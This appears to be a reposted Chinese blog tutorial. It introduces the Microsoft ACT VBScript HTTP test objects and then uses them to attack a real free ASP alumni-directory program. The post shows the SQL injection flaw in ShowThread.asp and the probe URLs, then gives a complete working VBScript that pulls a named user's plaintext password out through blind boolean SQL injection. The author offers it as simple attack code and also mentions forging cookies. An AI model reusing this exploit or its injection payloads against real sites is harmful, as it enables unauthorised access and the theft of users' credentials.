仲介交易 SEO診斷 淘寶客 雲主機 技術大廳
來源:HTTP://www.viphot.com/
昨天晚上在機器裡亂翻時無意打開一個vbs腳本,突然發現一個以前沒有見過的物件Test.SendRequest("HTTP://" & g_sServer & "/testfiles/browser.asp"), 雖然物件沒有見過,但是意思很明顯:發送HTTP請求。 本來以為是WMI script API的東東,但是沒有找到創建物件的語句,這個腳本在Microsoft ACT裡,Microsoft ACT是Visual Studio.Net帶的一個測試網站的工具(Long,未來有用過這個嗎? 如果沒有,你看這個如何?),以前打開過,但是沒有研究過如何使用,於是我打開説明檔(查過MSDN裡有:ms-help://MS. VSCC/MS. MSDNVS.2052/act/htm/actml_main.htm),大致的讀了一下,竟然是一整套的HTTP用戶端物件(不知道這樣說是不是準確),把物件和屬性列出來,你看了就可以知道了,以下是Test物件模型, 還有個application物件模型,如果你有深入瞭解的興趣請看msdn,我還在學習中:
-Connection物件
Close方法
Send方法
IsOpen屬性
Port屬性
RedirectDepth屬性
Server屬性
UseSSL屬性
-Cookie物件//因為是測試網站的,用腳本程式類比多使用者,這個可以用來設置每個使用者的cookie,那也該可以用來做手腳,呵呵
Expires屬性
Name屬性
Path屬性
Value屬性
-Cookies物件
Add方法
Remove方法
RemoveAll方法
Count屬性
Item屬性
-Header物件
Name屬性
Value屬性
-Request物件
Body屬性
CodePage屬性
EncodeBody屬性
EncodeQueryAsUTF8屬性
Headers屬性
HTTPVersion屬性
Path屬性
ResponseBufferSize屬性
Verb屬性
-Response物件
Body屬性 //獲取 HTTP 回應的正文。 僅返回回應緩衝區中的正文部分。
CodePage屬性
BytesRecv屬性
BytesSent屬性
ContentLength屬性
Headers屬性
HeaderSize屬性
HTTPVersion屬性
Path屬性
Port屬性
ResultCode屬性
HTTP狀態碼
Server屬性
TTFB屬性
TTLB屬性
UseSSl屬性
-Test物件
CreateConnection方法
CreateRequest方法
GetCurrentUser方法
GetGlobalIndex方法
GetGlobalVariable方法
GetNextUser方法
IncrementGlobalIndex方法
SendRequest方法
SetGlobalIndex方法
SetGlobalVariable方法
Sleep方法
Trace方法
TraceLevel屬性
-User物件
Cookies屬性
Name屬性
Password屬性
到此,你也許會想到很多用處,比如測試網站,測試伺服器,測試程式,Cookie偽造... 看你的想像力了,我第一件感興趣的是開頭提到的那句:Test.SendRequest("HTTP://" & g_sServer & "/testfiles/browser.asp"), Test物件的SendRequest方法說明:
oResponse = Test.SendRequest(strURL)
參數:strURL as string:表示所請求的URL
傳回值:oResponse As Reponse:表示代表回應請求的Web伺服器回應的物件(就是上面的Response物件)
這個物件讓我們可以很容易的寫出針對80埠的攻擊程式,如溯雪的功能,現在流行sql injection,網上的sql injection的攻擊程式大都用perl寫的,我又不會perl, 用C寫一個完整的socket程式相對煩瑣一些,是這個物件為vbs提供了可能,而且程式相當簡單,雖然犧牲了效率,但是對於我們菜鳥不失為一個好辦法,下面就舉一個例子來說明:
風月同學錄是一套免費的asp同學錄程式,可能你沒有聽說過,不過在同學錄類的免費web程式中算是功能出色的了,所以有不少網站採用了或者修改後使用了它(我念過的那所高中的網站的同學錄就是用的這套程式改寫的), 我手上有V1.60,去年從網上down下來的,寫這篇時在寢室,上不了網,也無法得到最新的版本了,反正也只是個例子,就湊合用吧,呵呵。 大致看了一些代碼發現多處可以注入的地方,最明顯(因為在首頁就看到)的就是它的一個論壇形式的留言板ShowThread.asp裡:
...
topicid=request("RootID")
sql="select topic,hits from bbs where parentid=0 and bbsid="&topicid
set rs=conn.execute(sql)
...
非常古老且經典的一個,呵呵,試了下:
HTTP://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=1
HTTP://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=2
資料表結構我都知道,使用者名也都可以在使用者清單看出來,那麼這個例子就演示一下猜解密碼,什麼?太簡單了?只是個例子嘛,別笑哦~~寫的時候也不是一帆風順~~寫的很差,尤其迴圈裡如果探測到正確的就應該退出迴圈, 但是想不起來怎麼退出了(break?exit?),不過對於這個密碼明文存放的程式來說已經夠了,一個6位的密碼用了15秒左右猜出,改進下會提高不少,但效率上始終和perl不能比了。
要使用這個物件要裝Microsoft ACT是Visual Studio.Net裡一個工具,我在另一台機器上直接用regsrv32註冊相關的dll失敗了,所以還是要裝一下。
'*********************************************
'風月同學錄V1.60漏洞測試腳本 by luoluo
'注意:需要裝Visual Studio.Net裡的ACT工具
'*********************************************
'**********************************優化了下,效率要高些
Option Explicit
On Error Resume Next
Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username
'從命令列得到要破解的人的使用者名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If
WScript.Echo "開始探測,請等待... ..."
'正確頁面的標誌,這個隨便找的,因為只要是兩個頁面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
'存放密碼
pwd = ""
'密碼的字元範圍
strings = "0123456789abcdefghijklmnopqrstuvwxyz"
'建立物件
Set Test = CreateObject("ACT. Test")
'得到使用者的密碼的長度
For i = 0 to 128 step 1
'發送請求,返回一個Response物件,位址長可以用&分成段,那樣好看一些
Set o_Response = Test.SendRequest("HTTP://192.168.101.16/txl/ShowThread.asp? RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20len(userpwd)='" & i & "'%20and% 20userid='" & username & "')")
'如果返回的頁面裡有正確標誌那麼長度就對了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
Exit For
End If
Next
'猜解使用者的密碼
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest("HTTP://192.168.101.16/txl/ShowThread.asp? RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")
If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
Exit For
End If
Next
Next
If err Then
WScript.Echo "錯誤:" & Error.Description
Error.Clear
Else
'輸出密碼
WScript.Echo "密碼:" & pwd
End If
Set Test = nothing